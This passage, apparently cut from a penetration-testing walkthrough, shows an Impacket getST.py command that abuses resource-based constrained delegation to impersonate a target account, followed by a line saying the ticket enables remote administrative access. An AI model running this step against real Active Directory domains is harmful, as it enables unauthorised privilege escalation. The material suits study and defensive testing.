getST.py -spn cifs/Server_You_Relayed_To_Get_RBCD_Rights_On -impersonate TARGET_ACCOUNT  DOMAIN/YOUR_CREATED_COMPUTER_ACCOUNT\$:PASSWORD

With the valid ticket saved to disk, all we need to do is export it to memory, which will then allow us to remotely connect to the remote system with administrative privileges: